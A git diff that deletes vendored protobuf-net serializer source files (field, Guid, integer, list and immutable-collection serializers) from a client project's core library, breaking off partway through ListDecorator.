switch - ctx.LoadValue(wireValue); - ctx.LoadValue(group.First); - ctx.Subtract(); // jump-tables are zero-based - Compiler.CodeLabel[] jmp = new Compiler.CodeLabel[groupItemCount]; - for (int i = 0; i < groupItemCount; i++) { - jmp[i] = ctx.DefineLabel(); - } - ctx.Switch(jmp); - // write the default... - ctx.Branch(tryNextGroup, false); - for (int i = 0; i < groupItemCount; i++) - { - WriteEnumValue(ctx, typeCode, jmp[i], @continue, group.Items[i], @result); - } - } - ctx.MarkLabel(tryNextGroup); - } - // throw source.CreateEnumException(ExpectedType, wireValue); - ctx.LoadReaderWriter(); - ctx.LoadValue(ExpectedType); - ctx.LoadValue(wireValue); - ctx.EmitCall(ctx.MapType(typeof(ProtoReader)).GetMethod("ThrowEnumException")); - ctx.MarkLabel(@continue); - ctx.LoadValue(result); - } - } - } - private static void WriteEnumValue(Compiler.CompilerContext ctx, ProtoTypeCode typeCode, object value) - { - switch (typeCode) - { - case ProtoTypeCode.Byte: ctx.LoadValue((int)(byte)value); break; - case ProtoTypeCode.SByte: ctx.LoadValue((int)(sbyte)value); break; - case ProtoTypeCode.Int16: ctx.LoadValue((int)(short)value); break; - case ProtoTypeCode.Int32: ctx.LoadValue((int)(int)value); break; - case ProtoTypeCode.Int64: ctx.LoadValue((long)(long)value); break; - case ProtoTypeCode.UInt16: ctx.LoadValue((int)(ushort)value); break; - case ProtoTypeCode.UInt32: ctx.LoadValue((int)(uint)value); break; - case ProtoTypeCode.UInt64: ctx.LoadValue((long)(ulong)value); break; - default: throw new InvalidOperationException(); - } - } - private static void WriteEnumValue(Compiler.CompilerContext ctx, ProtoTypeCode typeCode, Compiler.CodeLabel handler, Compiler.CodeLabel @continue, object value, Compiler.Local local) - { - ctx.MarkLabel(handler); - WriteEnumValue(ctx, typeCode, value); - ctx.StoreValue(local); - ctx.Branch(@continue, false); // "continue" - } -#endif - } -} - -#endif \ No newline at end of file diff --git a/Client/Core/ProtoBuf/Serializers/FieldDecorator.cs b/Client/Core/ProtoBuf/Serializers/FieldDecorator.cs deleted file mode 100644 index af6593bd..00000000 --- a/Client/Core/ProtoBuf/Serializers/FieldDecorator.cs +++ /dev/null @@ -1,109 +0,0 @@ -#if !NO_RUNTIME -using System; -using ProtoBuf.Meta; -#if FEAT_IKVM -using Type = IKVM.Reflection.Type; -using IKVM.Reflection; -#else -using System.Reflection; - -#endif - -namespace ProtoBuf.Serializers -{ - internal sealed class FieldDecorator : ProtoDecoratorBase - { - public override Type ExpectedType - { - get { return forType; } - } - - private readonly FieldInfo field; - private readonly Type forType; - - public override bool RequiresOldValue - { - get { return true; } - } - - public override bool ReturnsValue - { - get { return false; } - } - - public FieldDecorator(Type forType, FieldInfo field, IProtoSerializer tail) : base(tail) - { - Helpers.DebugAssert(forType != null); - Helpers.DebugAssert(field != null); - this.forType = forType; - this.field = field; - } - -#if !FEAT_IKVM - public override void Write(object value, ProtoWriter dest) - { - Helpers.DebugAssert(value != null); - value = field.GetValue(value); - if (value != null) Tail.Write(value, dest); - } - - public override object Read(object value, ProtoReader source) - { - Helpers.DebugAssert(value != null); - object newValue = Tail.Read((Tail.RequiresOldValue ? field.GetValue(value) : null), source); - if (newValue != null) field.SetValue(value, newValue); - return null; - } -#endif - -#if FEAT_COMPILER - protected override void EmitWrite(Compiler.CompilerContext ctx, Compiler.Local valueFrom) - { - ctx.LoadAddress(valueFrom, ExpectedType); - ctx.LoadValue(field); - ctx.WriteNullCheckedTail(field.FieldType, Tail, null); - } - protected override void EmitRead(Compiler.CompilerContext ctx, Compiler.Local valueFrom) - { - using (Compiler.Local loc = ctx.GetLocalWithValue(ExpectedType, valueFrom)) - { - if (Tail.RequiresOldValue) - { - ctx.LoadAddress(loc, ExpectedType); - ctx.LoadValue(field); - } - // value is either now on the stack or not needed - ctx.ReadNullCheckedTail(field.FieldType, Tail, null); - - if (Tail.ReturnsValue) - { - using (Compiler.Local newVal = new Compiler.Local(ctx, field.FieldType)) - { - ctx.StoreValue(newVal); - if (field.FieldType.IsValueType) - { - ctx.LoadAddress(loc, ExpectedType); - ctx.LoadValue(newVal); - ctx.StoreValue(field); - } - else - { - Compiler.CodeLabel allDone = ctx.DefineLabel(); - ctx.LoadValue(newVal); - ctx.BranchIfFalse(allDone, true); // interpret null as "don't assign" - - ctx.LoadAddress(loc, ExpectedType); - ctx.LoadValue(newVal); - ctx.StoreValue(field); - - ctx.MarkLabel(allDone); - } - } - } - } - } -#endif - } -} - -#endif \ No newline at end of file diff --git a/Client/Core/ProtoBuf/Serializers/GuidSerializer.cs b/Client/Core/ProtoBuf/Serializers/GuidSerializer.cs deleted file mode 100644 index 1a3c00ad..00000000 --- a/Client/Core/ProtoBuf/Serializers/GuidSerializer.cs +++ /dev/null @@ -1,66 +0,0 @@ -#if !NO_RUNTIME -using System; - -#if FEAT_IKVM -using Type = IKVM.Reflection.Type; -#endif - -namespace ProtoBuf.Serializers -{ - internal sealed class GuidSerializer : IProtoSerializer - { -#if FEAT_IKVM - readonly Type expectedType; -#else - private static readonly Type expectedType = typeof (Guid); -#endif - - public GuidSerializer(ProtoBuf.Meta.TypeModel model) - { -#if FEAT_IKVM - expectedType = model.MapType(typeof(Guid)); -#endif - } - - public Type ExpectedType - { - get { return expectedType; } - } - - bool IProtoSerializer.RequiresOldValue - { - get { return false; } - } - - bool IProtoSerializer.ReturnsValue - { - get { return true; } - } - -#if !FEAT_IKVM - public void Write(object value, ProtoWriter dest) - { - BclHelpers.WriteGuid((Guid) value, dest); - } - - public object Read(object value, ProtoReader source) - { - Helpers.DebugAssert(value == null); // since replaces - return BclHelpers.ReadGuid(source); - } -#endif - -#if FEAT_COMPILER - void IProtoSerializer.EmitWrite(Compiler.CompilerContext ctx, Compiler.Local valueFrom) - { - ctx.EmitWrite(ctx.MapType(typeof(BclHelpers)), "WriteGuid", valueFrom); - } - void IProtoSerializer.EmitRead(Compiler.CompilerContext ctx, Compiler.Local valueFrom) - { - ctx.EmitBasicRead(ctx.MapType(typeof(BclHelpers)), "ReadGuid", ExpectedType); - } -#endif - } -} - -#endif \ No newline at end of file diff --git a/Client/Core/ProtoBuf/Serializers/IProtoSerializer.cs b/Client/Core/ProtoBuf/Serializers/IProtoSerializer.cs deleted file mode 100644 index d2d95f6c..00000000 --- a/Client/Core/ProtoBuf/Serializers/IProtoSerializer.cs +++ /dev/null @@ -1,73 +0,0 @@ -#if !NO_RUNTIME -using System; - -#if FEAT_IKVM -using Type = IKVM.Reflection.Type; -#endif - -namespace ProtoBuf.Serializers -{ - internal interface IProtoSerializer - { - /// - /// The type that this serializer is intended to work for. - /// - Type ExpectedType { get; } - -#if !FEAT_IKVM - /// - /// Perform the steps necessary to serialize this data. - /// - /// The value to be serialized. - /// The writer entity that is accumulating the output data. - void Write(object value, ProtoWriter dest); - - /// - /// Perform the steps necessary to deserialize this data. - /// - /// The current value, if appropriate. - /// The reader providing the input data. - /// The updated / replacement value. - object Read(object value, ProtoReader source); -#endif - - /// - /// Indicates whether a Read operation replaces the existing value, or - /// extends the value. If false, the "value" parameter to Read is - /// discarded, and should be passed in as null. - /// - bool RequiresOldValue { get; } - - /// - /// Now all Read operations return a value (although most do); if false no - /// value should be expected. - /// - bool ReturnsValue { get; } - -#if FEAT_COMPILER - - - /// Emit the IL necessary to perform the given actions - /// to serialize this data. - /// - /// Details and utilities for the method being generated. - /// The source of the data to work against; - /// If the value is only needed once, then LoadValue is sufficient. If - /// the value is needed multiple times, then note that a "null" - /// means "the top of the stack", in which case you should create your - /// own copy - GetLocalWithValue. - void EmitWrite(Compiler.CompilerContext ctx, Compiler.Local valueFrom); - - /// - /// Emit the IL necessary to perform the given actions to deserialize this data. - /// - /// Details and utilities for the method being generated. - /// For nested values, the instance holding the values; note - /// that this is not always provided - a null means not supplied. Since this is always - /// a variable or argument, it is not necessary to consume this value. - void EmitRead(Compiler.CompilerContext ctx, Compiler.Local entity); -#endif - } -} - -#endif \ No newline at end of file diff --git a/Client/Core/ProtoBuf/Serializers/IProtoTypeSerializer.cs b/Client/Core/ProtoBuf/Serializers/IProtoTypeSerializer.cs deleted file mode 100644 index 557622a1..00000000 --- a/Client/Core/ProtoBuf/Serializers/IProtoTypeSerializer.cs +++ /dev/null @@ -1,23 +0,0 @@ -#if !NO_RUNTIME -using ProtoBuf.Meta; - -namespace ProtoBuf.Serializers -{ - internal interface IProtoTypeSerializer : IProtoSerializer - { - bool HasCallbacks(TypeModel.CallbackType callbackType); - bool CanCreateInstance(); -#if !FEAT_IKVM - object CreateInstance(ProtoReader source); - void Callback(object value, TypeModel.CallbackType callbackType, SerializationContext context); -#endif -#if FEAT_COMPILER - void EmitCallback(Compiler.CompilerContext ctx, Compiler.Local valueFrom, TypeModel.CallbackType callbackType); -#endif -#if FEAT_COMPILER - void EmitCreateInstance(Compiler.CompilerContext ctx); -#endif - } -} - -#endif \ No newline at end of file diff --git a/Client/Core/ProtoBuf/Serializers/ISerializerProxy.cs b/Client/Core/ProtoBuf/Serializers/ISerializerProxy.cs deleted file mode 100644 index 25b566de..00000000 --- a/Client/Core/ProtoBuf/Serializers/ISerializerProxy.cs +++ /dev/null @@ -1,12 +0,0 @@ - -#if !NO_RUNTIME - -namespace ProtoBuf.Serializers -{ - internal interface ISerializerProxy - { - IProtoSerializer Serializer { get; } - } -} - -#endif \ No newline at end of file diff --git a/Client/Core/ProtoBuf/Serializers/ImmutableCollectionDecorator.cs b/Client/Core/ProtoBuf/Serializers/ImmutableCollectionDecorator.cs deleted file mode 100644 index b2b8fe59..00000000 --- a/Client/Core/ProtoBuf/Serializers/ImmutableCollectionDecorator.cs +++ /dev/null @@ -1,296 +0,0 @@ -#if !NO_RUNTIME -using System; -using System.Collections; -using ProtoBuf.Meta; -#if FEAT_IKVM -using Type = IKVM.Reflection.Type; -using IKVM.Reflection; -#else -using System.Reflection; - -#endif - -namespace ProtoBuf.Serializers -{ - internal sealed class ImmutableCollectionDecorator : ListDecorator - { - protected override bool RequireAdd - { - get { return false; } - } - -#if !NO_GENERICS - - private static Type ResolveIReadOnlyCollection(Type declaredType, Type t) - { -#if WINRT - foreach (Type intImplBasic in declaredType.GetTypeInfo().ImplementedInterfaces) - { - TypeInfo intImpl = intImplBasic.GetTypeInfo(); - if (intImpl.IsGenericType && intImpl.Name.StartsWith("IReadOnlyCollection`")) - { - if(t != null) - { - Type[] typeArgs = intImpl.GenericTypeArguments; - if (typeArgs.Length != 1 && typeArgs[0] != t) continue; - } - return intImplBasic; - } - } -#else - foreach (Type intImpl in declaredType.GetInterfaces()) - { - if (intImpl.IsGenericType && intImpl.Name.StartsWith("IReadOnlyCollection`")) - { - if (t != null) - { - Type[] typeArgs = intImpl.GetGenericArguments(); - if (typeArgs.Length != 1 && typeArgs[0] != t) continue; - } - return intImpl; - } - } -#endif - return null; - } - - internal static bool IdentifyImmutable(TypeModel model, Type declaredType, out MethodInfo builderFactory, - out MethodInfo add, out MethodInfo addRange, out MethodInfo finish) - { - builderFactory = add = addRange = finish = null; - if (model == null || declaredType == null) return false; -#if WINRT - TypeInfo declaredTypeInfo = declaredType.GetTypeInfo(); -#else - Type declaredTypeInfo = declaredType; -#endif - - // try to detect immutable collections; firstly, they are all generic, and all implement IReadOnlyCollection for some T - if (!declaredTypeInfo.IsGenericType) return false; - -#if WINRT - Type[] typeArgs = declaredTypeInfo.GenericTypeArguments, effectiveType; -#else - Type[] typeArgs = declaredTypeInfo.GetGenericArguments(), effectiveType; -#endif - switch (typeArgs.Length) - { - case 1: - effectiveType = typeArgs; - break; // fine - case 2: - Type kvp = model.MapType(typeof (System.Collections.Generic.KeyValuePair<,>)); - if (kvp == null) return false; - kvp = kvp.MakeGenericType(typeArgs); - effectiveType = new Type[] {kvp}; - break; - default: - return false; // no clue! - } - - if (ResolveIReadOnlyCollection(declaredType, null) == null) return false; // no IReadOnlyCollection found - - // and we want to use the builder API, so for generic Foo or IFoo we want to use Foo.CreateBuilder - string name = declaredType.Name; - int i = name.IndexOf('`'); - if (i <= 0) return false; - name = declaredTypeInfo.IsInterface ? name.Substring(1, i - 1) : name.Substring(0, i); - - Type outerType = model.GetType(declaredType.Namespace + "." + name, declaredTypeInfo.Assembly); - // I hate special-cases... - if (outerType == null && name == "ImmutableSet") - { - outerType = model.GetType(declaredType.Namespace + ".ImmutableHashSet", declaredTypeInfo.Assembly); - } - if (outerType == null) return false; - -#if WINRT - foreach (MethodInfo method in outerType.GetTypeInfo().DeclaredMethods) -#else - foreach (MethodInfo method in outerType.GetMethods()) -#endif - { - if (!method.IsStatic || method.Name != "CreateBuilder" || !method.IsGenericMethodDefinition || - method.GetParameters().Length != 0 - || method.GetGenericArguments().Length != typeArgs.Length) continue; - - builderFactory = method.MakeGenericMethod(typeArgs); - break; - } - Type voidType = model.MapType(typeof (void)); - if (builderFactory == null || builderFactory.ReturnType == null || builderFactory.ReturnType == voidType) - return false; - - - add = Helpers.GetInstanceMethod(builderFactory.ReturnType, "Add", effectiveType); - if (add == null) return false; - - finish = Helpers.GetInstanceMethod(builderFactory.ReturnType, "ToImmutable", Helpers.EmptyTypes); - if (finish == null || finish.ReturnType == null || finish.ReturnType == voidType) return false; - - if (!(finish.ReturnType == declaredType || Helpers.IsAssignableFrom(declaredType, finish.ReturnType))) - return false; - - addRange = Helpers.GetInstanceMethod(builderFactory.ReturnType, "AddRange", new Type[] {declaredType}); - if (addRange == null) - { - Type enumerable = model.MapType(typeof (System.Collections.Generic.IEnumerable<>), false); - if (enumerable != null) - { - addRange = Helpers.GetInstanceMethod(builderFactory.ReturnType, "AddRange", - new Type[] {enumerable.MakeGenericType(effectiveType)}); - } - } - - return true; - } -#endif - private readonly MethodInfo builderFactory, add, addRange, finish; - - internal ImmutableCollectionDecorator(TypeModel model, Type declaredType, Type concreteType, - IProtoSerializer tail, int fieldNumber, bool writePacked, WireType packedWireType, bool returnList, - bool overwriteList, bool supportNull, - MethodInfo builderFactory, MethodInfo add, MethodInfo addRange, MethodInfo finish) - : base( - model, declaredType, concreteType, tail, fieldNumber, writePacked, packedWireType, returnList, - overwriteList, supportNull) - { - this.builderFactory = builderFactory; - this.add = add; - this.addRange = addRange; - this.finish = finish; - } - -#if !FEAT_IKVM - public override object Read(object value, ProtoReader source) - { - object builderInstance = builderFactory.Invoke(null, null); - int field = source.FieldNumber; - object[] args = new object[1]; - if (AppendToCollection && value != null && ((IList) value).Count != 0) - { - if (addRange != null) - { - args[0] = value; - addRange.Invoke(builderInstance, args); - } - else - { - foreach (object item in (IList) value) - { - args[0] = item; - add.Invoke(builderInstance, args); - } - } - } - - if (packedWireType != WireType.None && source.WireType == WireType.String) - { - SubItemToken token = ProtoReader.StartSubItem(source); - while (ProtoReader.HasSubValue(packedWireType, source)) - { - args[0] = Tail.Read(null, source); - add.Invoke(builderInstance, args); - } - ProtoReader.EndSubItem(token, source); - } - else - { - do - { - args[0] = Tail.Read(null, source); - add.Invoke(builderInstance, args); - } while (source.TryReadFieldHeader(field)); - } - - return finish.Invoke(builderInstance, null); - } -#endif - -#if FEAT_COMPILER - protected override void EmitRead(Compiler.CompilerContext ctx, Compiler.Local valueFrom) - { - using (Compiler.Local oldList = AppendToCollection ? ctx.GetLocalWithValue(ExpectedType, valueFrom) : null) - using(Compiler.Local builder = new Compiler.Local(ctx, builderFactory.ReturnType)) - { - ctx.EmitCall(builderFactory); - ctx.StoreValue(builder); - - if(AppendToCollection) - { - Compiler.CodeLabel done = ctx.DefineLabel(); - if(!ExpectedType.IsValueType) - { - ctx.LoadValue(oldList); - ctx.BranchIfFalse(done, false); // old value null; nothing to add - } - PropertyInfo prop = Helpers.GetProperty(ExpectedType, "Length", false); - if(prop == null) prop = Helpers.GetProperty(ExpectedType, "Count", false); -#if !NO_GENERICS - if (prop == null) prop = Helpers.GetProperty(ResolveIReadOnlyCollection(ExpectedType, Tail.ExpectedType), "Count", false); -#endif - ctx.LoadAddress(oldList, oldList.Type); - ctx.EmitCall(Helpers.GetGetMethod(prop, false, false)); - ctx.BranchIfFalse(done, false); // old list is empty; nothing to add - - Type voidType = ctx.MapType(typeof(void)); - if(addRange != null) - { - ctx.LoadValue(builder); - ctx.LoadValue(oldList); - ctx.EmitCall(addRange); - if (addRange.ReturnType != null && add.ReturnType != voidType) ctx.DiscardValue(); - } - else - { - // loop and call Add repeatedly - MethodInfo moveNext, current, getEnumerator = GetEnumeratorInfo(ctx.Model, out moveNext, out current); - Helpers.DebugAssert(moveNext != null); - Helpers.DebugAssert(current != null); - Helpers.DebugAssert(getEnumerator != null); - - Type enumeratorType = getEnumerator.ReturnType; - using (Compiler.Local iter = new Compiler.Local(ctx, enumeratorType)) - { - ctx.LoadAddress(oldList, ExpectedType); - ctx.EmitCall(getEnumerator); - ctx.StoreValue(iter); - using (ctx.Using(iter)) - { - Compiler.CodeLabel body = ctx.DefineLabel(), next = ctx.DefineLabel(); - ctx.Branch(next, false); - - ctx.MarkLabel(body); - ctx.LoadAddress(builder, builder.Type); - ctx.LoadAddress(iter, enumeratorType); - ctx.EmitCall(current); - ctx.EmitCall(add); - if (add.ReturnType != null && add.ReturnType != voidType) ctx.DiscardValue(); - - ctx.MarkLabel(@next); - ctx.LoadAddress(iter, enumeratorType); - ctx.EmitCall(moveNext); - ctx.BranchIfTrue(body, false); - } - } - } - - - ctx.MarkLabel(done); - } - - EmitReadList(ctx, builder, Tail, add, packedWireType, false); - - ctx.LoadAddress(builder, builder.Type); - ctx.EmitCall(finish); - if(ExpectedType != finish.ReturnType) - { - ctx.Cast(ExpectedType); - } - } - } -#endif - } -} - -#endif \ No newline at end of file diff --git a/Client/Core/ProtoBuf/Serializers/Int16Serializer.cs b/Client/Core/ProtoBuf/Serializers/Int16Serializer.cs deleted file mode 100644 index b42f052a..00000000 --- a/Client/Core/ProtoBuf/Serializers/Int16Serializer.cs +++ /dev/null @@ -1,68 +0,0 @@ -#if !NO_RUNTIME -using System; -#if FEAT_IKVM -using Type = IKVM.Reflection.Type; -using IKVM.Reflection; -#else -using System.Reflection; - -#endif - -namespace ProtoBuf.Serializers -{ - internal sealed class Int16Serializer : IProtoSerializer - { -#if FEAT_IKVM - readonly Type expectedType; -#else - private static readonly Type expectedType = typeof (short); -#endif - - public Int16Serializer(ProtoBuf.Meta.TypeModel model) - { -#if FEAT_IKVM - expectedType = model.MapType(typeof(short)); -#endif - } - - public Type ExpectedType - { - get { return expectedType; } - } - - bool IProtoSerializer.RequiresOldValue - { - get { return false; } - } - - bool IProtoSerializer.ReturnsValue - { - get { return true; } - } - -#if !FEAT_IKVM - public object Read(object value, ProtoReader source) - { - Helpers.DebugAssert(value == null); // since replaces - return source.ReadInt16(); - } - - public void Write(object value, ProtoWriter dest) - { - ProtoWriter.WriteInt16((short) value, dest); - } -#endif -#if FEAT_COMPILER - void IProtoSerializer.EmitWrite(Compiler.CompilerContext ctx, Compiler.Local valueFrom) - { - ctx.EmitBasicWrite("WriteInt16", valueFrom); - } - void IProtoSerializer.EmitRead(Compiler.CompilerContext ctx, Compiler.Local valueFrom) - { - ctx.EmitBasicRead("ReadInt16", ExpectedType); - } -#endif - } -} - -#endif \ No newline at end of file diff --git a/Client/Core/ProtoBuf/Serializers/Int32Serializer.cs b/Client/Core/ProtoBuf/Serializers/Int32Serializer.cs deleted file mode 100644 index 640f7999..00000000 --- a/Client/Core/ProtoBuf/Serializers/Int32Serializer.cs +++ /dev/null @@ -1,68 +0,0 @@ -#if !NO_RUNTIME -using System; -#if FEAT_IKVM -using Type = IKVM.Reflection.Type; -using IKVM.Reflection; -#else -using System.Reflection; - -#endif - -namespace ProtoBuf.Serializers -{ - internal sealed class Int32Serializer : IProtoSerializer - { -#if FEAT_IKVM - readonly Type expectedType; -#else - private static readonly Type expectedType = typeof (int); -#endif - - public Int32Serializer(ProtoBuf.Meta.TypeModel model) - { -#if FEAT_IKVM - expectedType = model.MapType(typeof(int)); -#endif - } - - public Type ExpectedType - { - get { return expectedType; } - } - - bool IProtoSerializer.RequiresOldValue - { - get { return false; } - } - - bool IProtoSerializer.ReturnsValue - { - get { return true; } - } - -#if !FEAT_IKVM - public object Read(object value, ProtoReader source) - { - Helpers.DebugAssert(value == null); // since replaces - return source.ReadInt32(); - } - - public void Write(object value, ProtoWriter dest) - { - ProtoWriter.WriteInt32((int) value, dest); - } -#endif -#if FEAT_COMPILER - void IProtoSerializer.EmitWrite(Compiler.CompilerContext ctx, Compiler.Local valueFrom) - { - ctx.EmitBasicWrite("WriteInt32", valueFrom); - } - void IProtoSerializer.EmitRead(Compiler.CompilerContext ctx, Compiler.Local valueFrom) - { - ctx.EmitBasicRead("ReadInt32", ExpectedType); - } -#endif - } -} - -#endif \ No newline at end of file diff --git a/Client/Core/ProtoBuf/Serializers/Int64Serializer.cs b/Client/Core/ProtoBuf/Serializers/Int64Serializer.cs deleted file mode 100644 index 1fe53a41..00000000 --- a/Client/Core/ProtoBuf/Serializers/Int64Serializer.cs +++ /dev/null @@ -1,69 +0,0 @@ -#if !NO_RUNTIME -using System; -using ProtoBuf.Meta; -#if FEAT_IKVM -using Type = IKVM.Reflection.Type; -using IKVM.Reflection; -#else -using System.Reflection; - -#endif - -namespace ProtoBuf.Serializers -{ - internal sealed class Int64Serializer : IProtoSerializer - { -#if FEAT_IKVM - readonly Type expectedType; -#else - private static readonly Type expectedType = typeof (long); -#endif - - public Int64Serializer(ProtoBuf.Meta.TypeModel model) - { -#if FEAT_IKVM - expectedType = model.MapType(typeof(long)); -#endif - } - - public Type ExpectedType - { - get { return expectedType; } - } - - bool IProtoSerializer.RequiresOldValue - { - get { return false; } - } - - bool IProtoSerializer.ReturnsValue - { - get { return true; } - } - -#if !FEAT_IKVM - public object Read(object value, ProtoReader source) - { - Helpers.DebugAssert(value == null); // since replaces - return source.ReadInt64(); - } - - public void Write(object value, ProtoWriter dest) - { - ProtoWriter.WriteInt64((long) value, dest); - } -#endif -#if FEAT_COMPILER - void IProtoSerializer.EmitWrite(Compiler.CompilerContext ctx, Compiler.Local valueFrom) - { - ctx.EmitBasicWrite("WriteInt64", valueFrom); - } - void IProtoSerializer.EmitRead(Compiler.CompilerContext ctx, Compiler.Local valueFrom) - { - ctx.EmitBasicRead("ReadInt64", ExpectedType); - } -#endif - } -} - -#endif \ No newline at end of file diff --git a/Client/Core/ProtoBuf/Serializers/KeyValuePairDecorator.cs b/Client/Core/ProtoBuf/Serializers/KeyValuePairDecorator.cs deleted file mode 100644 index 3350938f..00000000 --- a/Client/Core/ProtoBuf/Serializers/KeyValuePairDecorator.cs +++ /dev/null @@ -1,39 +0,0 @@ -namespace ProtoBuf.Serializers -{ - /* - sealed class KeyValuePairDecorator : IProtoSerializer - { - private readonly Type pairType; - private readonly IProtoSerializer keyTail, valueTail; - public KeyValuePairDecorator(Type pairType, IProtoSerializer keyTail, IProtoSerializer valueTail) { - Helpers.DebugAssert(pairType != null); - Helpers.DebugAssert(keyTail != null); - Helpers.DebugAssert(valueTail != null); - Helpers.DebugAssert(pairType == typeof(System.Collections.Generic.KeyValuePair<,>).MakeGenericType(keyTail.ExpectedType,valueTail.ExpectedType), "Key/value type mismatch"); - this.pairType = pairType; - this.keyTail = keyTail; - this.valueTail = valueTail; - } - - public Type ExpectedType { get { return pairType;}} - public bool ReturnsValue { get { return true; } } - public bool RequiresOldValue { get { return true; } } - public abstract void Write(object value, ProtoWriter dest) - { - - } - public abstract object Read(object value, ProtoReader source) - { - - } -#if FEAT_COMPILER - void IProtoSerializer.EmitWrite(Compiler.CompilerContext ctx, Compiler.Local valueFrom) - { - throw new NotImplementedException(); - } - void IProtoSerializer.EmitRead(Compiler.CompilerContext ctx, Compiler.Local valueFrom) { - throw new NotImplementedException(); - } -#endif - }*/ -} \ No newline at end of file diff --git a/Client/Core/ProtoBuf/Serializers/ListDecorator.cs b/Client/Core/ProtoBuf/Serializers/ListDecorator.cs deleted file mode 100644 index eb4696b9..00000000 --- a/Client/Core/ProtoBuf/Serializers/ListDecorator.cs +++ /dev/null @@ -1,599 +0,0 @@ -#if !NO_RUNTIME -using System; -using System.Collections; -using ProtoBuf.Meta; -#if FEAT_IKVM -using Type = IKVM.Reflection.Type; -using IKVM.Reflection; -#else -using System.Reflection; - -#endif - -namespace ProtoBuf.Serializers -{ - internal class ListDecorator : ProtoDecoratorBase - { - internal static bool CanPack(WireType wireType) - { - switch (wireType) - { - case WireType.Fixed32: - case WireType.Fixed64: - case WireType.SignedVariant: - case WireType.Variant: - return true; - default: - return false; - } - } - - private readonly byte options; - - private const byte OPTIONS_IsList = 1, - OPTIONS_SuppressIList = 2, - OPTIONS_WritePacked = 4, - OPTIONS_ReturnList = 8, - OPTIONS_OverwriteList = 16, - OPTIONS_SupportNull = 32; - - private readonly Type declaredType, concreteType; - - private readonly MethodInfo add; - - private readonly int fieldNumber; - - private bool IsList - { - get { return (options & OPTIONS_IsList) != 0; } - } - - private bool SuppressIList - { - get { return (options & OPTIONS_SuppressIList) != 0; } - } - - private bool WritePacked - { - get { return (options & OPTIONS_WritePacked) != 0; } - } - - private bool SupportNull - { - get { return (options & OPTIONS_SupportNull) != 0; } - } - - private bool ReturnList - { - get { return (options & OPTIONS_ReturnList) != 0; } - } - - protected readonly WireType packedWireType; - - - internal static ListDecorator Create(TypeModel model, Type declaredType, Type concreteType, - IProtoSerializer tail, int fieldNumber, bool writePacked, WireType packedWireType, bool returnList, - bool overwriteList, bool supportNull) - { -#if !NO_GENERICS - MethodInfo builderFactory, add, addRange, finish; - if (returnList && - ImmutableCollectionDecorator.IdentifyImmutable(model, declaredType, out builderFactory, out add, - out addRange, out finish)) - { - return new ImmutableCollectionDecorator( - model, declaredType, concreteType, tail, fieldNumber, writePacked, packedWireType, returnList, - overwriteList, supportNull, - builderFactory, add, addRange, finish); - } - -#endif - return new ListDecorator(model, declaredType, concreteType, tail, fieldNumber, writePacked, packedWireType, - returnList, overwriteList, supportNull); - } - - protected ListDecorator(TypeModel model, Type declaredType, Type concreteType, IProtoSerializer tail, - int fieldNumber, bool writePacked, WireType packedWireType, bool returnList, bool overwriteList, - bool supportNull) - : base(tail) - { - if (returnList) options |= OPTIONS_ReturnList; - if (overwriteList) options |= OPTIONS_OverwriteList; - if (supportNull) options |= OPTIONS_SupportNull; - if ((writePacked || packedWireType != WireType.None) && fieldNumber <= 0) - throw new ArgumentOutOfRangeException("fieldNumber"); - if (!CanPack(packedWireType)) - { - if (writePacked) throw new InvalidOperationException("Only simple data-types can use packed encoding"); - packedWireType = WireType.None; - } - - this.fieldNumber = fieldNumber; - if (writePacked) options |= OPTIONS_WritePacked; - this.packedWireType = packedWireType; - if (declaredType == null) throw new ArgumentNullException("declaredType"); - if (declaredType.IsArray) throw new ArgumentException("Cannot treat arrays as lists", "declaredType"); - this.declaredType = declaredType; - this.concreteType = concreteType; - - // look for a public list.Add(typedObject) method - if (RequireAdd) - { - bool isList; - add = TypeModel.ResolveListAdd(model, declaredType, tail.ExpectedType, out isList); - if (isList) - { - options |= OPTIONS_IsList; - string fullName = declaredType.FullName; - if (fullName != null && fullName.StartsWith("System.Data.Linq.EntitySet`1[[")) - { - // see http://stackoverflow.com/questions/6194639/entityset-is-there-a-sane-reason-that-ilist-add-doesnt-set-assigned - options |= OPTIONS_SuppressIList; - } - } - if (add == null) - throw new InvalidOperationException("Unable to resolve a suitable Add method for " + - declaredType.FullName); - } - } - - protected virtual bool RequireAdd - { - get { return true; } - } - - public override Type ExpectedType - { - get { return declaredType; } - } - - public override bool RequiresOldValue - { - get { return AppendToCollection; } - } - - public override bool ReturnsValue - { - get { return ReturnList; } - } - - protected bool AppendToCollection - { - get { return (options & OPTIONS_OverwriteList) == 0; } - } - -#if FEAT_COMPILER - protected override void EmitRead(ProtoBuf.Compiler.CompilerContext ctx, ProtoBuf.Compiler.Local valueFrom) - { - /* This looks more complex than it is. Look at the non-compiled Read to - * see what it is trying to do, but note that it needs to cope with a - * few more scenarios. Note that it picks the **most specific** Add, - * unlike the runtime version that uses IList when possible. The core - * is just a "do {list.Add(readValue())} while {thereIsMore}" - * - * The complexity is due to: - * - value types vs reference types (boxing etc) - * - initialization if we need to pass in a value to the tail - * - handling whether or not the tail *returns* the value vs updates the input - */ - bool returnList = ReturnList; - - using (Compiler.Local list = AppendToCollection ? ctx.GetLocalWithValue(ExpectedType, valueFrom) : new Compiler.Local(ctx, declaredType)) - using (Compiler.Local origlist = (returnList && AppendToCollection) ? new Compiler.Local(ctx, ExpectedType) : null) - { - if (!AppendToCollection) - { // always new - ctx.LoadNullRef(); - ctx.StoreValue(list); - } - else if (returnList) - { // need a copy - ctx.LoadValue(list); - ctx.StoreValue(origlist); - } - if (concreteType != null) - { - ctx.LoadValue(list); - Compiler.CodeLabel notNull = ctx.DefineLabel(); - ctx.BranchIfTrue(notNull, true); - ctx.EmitCtor(concreteType); - ctx.StoreValue(list); - ctx.MarkLabel(notNull); - } - - bool castListForAdd = !add.DeclaringType.IsAssignableFrom(declaredType); - EmitReadList(ctx, list, Tail, add, packedWireType, castListForAdd); - - if (returnList) - { - if (AppendToCollection) - { - // remember ^^^^ we had a spare copy of the list on the stack; now we'll compare - ctx.LoadValue(origlist); - ctx.LoadValue(list); // [orig] [new-value] - Compiler.CodeLabel sameList = ctx.DefineLabel(), allDone = ctx.DefineLabel(); - ctx.BranchIfEqual(sameList, true); - ctx.LoadValue(list); - ctx.Branch(allDone, true); - ctx.MarkLabel(sameList); - ctx.LoadNullRef(); - ctx.MarkLabel(allDone); - } - else - { - ctx.LoadValue(list); - } - } - } - } - - internal static void EmitReadList(ProtoBuf.Compiler.CompilerContext ctx, Compiler.Local list, IProtoSerializer tail, MethodInfo add, WireType packedWireType, bool castListForAdd) - { - using (Compiler.Local fieldNumber 